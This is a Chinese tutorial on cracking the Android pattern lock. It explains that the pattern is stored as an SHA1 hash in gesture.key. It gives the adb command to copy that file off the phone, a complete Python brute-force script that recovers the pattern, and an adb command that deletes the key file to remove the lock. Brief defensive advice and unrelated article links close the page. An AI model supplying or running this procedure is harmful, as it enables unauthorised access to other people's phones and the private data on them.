編輯:Android編程入門
安卓手機的圖形鎖包括3*3,4*4,5*5的點陣,按次序連接數個點從而達到鎖定/解鎖的功能。以3*3為例,最少需要連接4個點,最多能連接9個點。在我們進行繪制圖形的過程中,每選中這9個點中的一個點,實際上就代表選中了一位數字。當我們連接完4個點時,產生的圖形也會間接生成一組密碼。比如我們選中02、04、05、08這四個點位,那麼組成的密碼即為02040508。當然,為了安全,生成的密碼是不可能直接被存儲的,於是安卓系統將02040508轉換為16進制並以sha1加密,並存儲在手機裡的/data/system/gesture.key 文件中。我們要做的就是破解這個文件中保存的密鑰,通過破解出的密鑰可以得到繪制圖形的點位,從而進入手機系統。
破解有兩個前提條件:
(1)手機需要root;
(2)需要開啟調試模式。
滿足了以上兩個條件,我們便可以開始對安卓手機的圖形密碼進行破解。
首先利用adb進入手機的shell模式。然後adb pull data/system/gesture.key gesture.key。將密鑰存放的文件拷貝到電腦。利用C32Asm打開gesture.key文件,會發現其文件內容為sha1加密。如圖1所示:

圖1
因為該密鑰是基於點位組成的密碼,將sha1密鑰解密後的密碼應該是大於4位小於9位的。密碼數量大概在3024~985824之間。既然密碼的數量已經知道,我們便可以對該密碼進行窮舉破解。
利用python編寫窮舉破解程序:
主要編程思路如下:首先對00-09這些數字進行排列組合,需要用到Python中的itertools模塊,來完成迭代循環操作。組合出來的數字序列在用hashlib模塊對字符串進行SHA1加密,然後對gesture.key文件中的密鑰進行碰撞,知道找到相同的一組數字序列。
代碼:
#coding:utf-8
import itertools
import hashlib
import time
import os
#調用cmd,ADB連接到手機,讀取SHA1加密後的字符串
#os.system(r"adb pull /data/system/gesture.key gesture.key")
time.sleep(5)
f=open('gesture.key','r')
pswd=f.readline()
f.close()
pswd_hex=pswd.encode('hex')
print u'加密後的密碼為:%s'%pswd_hex
#生成解鎖序列,得到['00','01','02','03','04','05','06','07','08']
matrix=[]
for i in range(0,9):
str_temp = '0'+str(i)
matrix.append(str_temp)
#將00——08的字符進行排列,至少取4個數排列,最多全部進行排列
min_num=4
max_num=len(matrix)
list_m=[]
for num in range(min_num,max_num+1):#從04 -> 08
iter1 = itertools.permutations(matrix,num)#從9個數字中挑出n個進行排列
list_m.append(list(iter1))#將生成的排列全部存放到 list_m 列表中
for i in list_m:
for el in i:#遍歷這n個數字的全部排列
strlist=''.join(el)#將list轉換成str。[00,03,06,07,08]-->0003060708
#print strlist
strlist_sha1 = hashlib.sha1(strlist.decode('hex')).hexdigest()#將字符串進行SHA1加密
if pswd_hex==strlist_sha1:#將手機文件裡的字符串與加密字符串進行對比
print u'解鎖密碼為:',strlist
當腳本運行完成後,便會輸出圖形序列的密碼,按照0001020406的排列順序,繪制相應的圖形便可進入手機。

通過這種方式獲取手機權限的限制還是比較多的,首先手機必須是已經root的最高權限,並且開啟了開發者調試模式。
防止以上攻擊方法的防御措施就是關閉開發者調試模式,手機被盜後可以禁止其他人對手機ADB調試破解密碼。另外也要防止木馬被植入手機,因為通過木馬也可以導出手機中的gesture.key密鑰管理文件。
另外,從破解目的來說,如果單單是忘記了自己的手機圖形鎖密碼,完全可以用更簡單的辦法:ADB連接手機,然後“adb rm /data/system/gesture.key”刪除掉gesture.key文件,此時圖形鎖就失效了,隨意畫一下就能解鎖。
使用 Android Studio 檢測內存洩漏與解決內存洩漏問題
自從Google在2013年發布了Android Studio後,Android Studio憑借著自己良好的內存優化,酷炫的UI主題,強大的自動補全提示以及Gradle
Android自動連接指定的wifi,免密碼或指定密碼
一、運行時的狀態遇到一個這樣的要求:“不進行掃描操作,怎麼對指定的免密碼WIFI進行連接(之前沒有連接過)”,於是動手寫了一個Demo,如圖所示未
在Android Studio中進行單元測試
寫單元測試類1.創建單元測試文件夾,即新建一個用於單元測試的包,存放單元測試的類。2.創建一個類如 ExampleTest,注意要繼承自InstrumentationTe
Android開發環境配置(以windows為例)
Android開發環境配置工具 如果你准備從事Android開發,那麼無論選擇在eclipse下開發,還是選擇在AndroidStudio下開發,都可以參照